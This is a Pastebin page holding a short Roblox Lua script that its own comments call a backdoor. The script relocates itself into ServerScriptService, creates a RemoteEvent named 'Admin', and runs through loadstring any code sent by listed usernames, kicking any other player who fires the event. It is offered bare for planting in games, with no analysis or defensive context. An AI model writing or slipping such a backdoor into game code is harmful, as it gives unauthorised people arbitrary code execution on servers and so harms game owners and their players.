Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wait()
- if script.Parent ~= game:service("ServerScriptService") then
- script.Parent = game:service("ServerScriptService")
- end
- wait()
- local RemoteEvent = Instance.new("RemoteEvent", game:service("ReplicatedStorage"))
- RemoteEvent.Name = "Admin"
- local Trusted = {"00Oo_oOO00", "ROBLOX"} -- these are the people who have access to the backdoor
- RemoteEvent.OnServerEvent:Connect(function(plr, code)
- if plr.Name == unpack(Trusted) or plr.UserId == unpack(Trusted) then
- loadstring(code)() -- runs the code
- else
- plr:Kick() -- kicks player if the player's name or userid is not found in the table
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement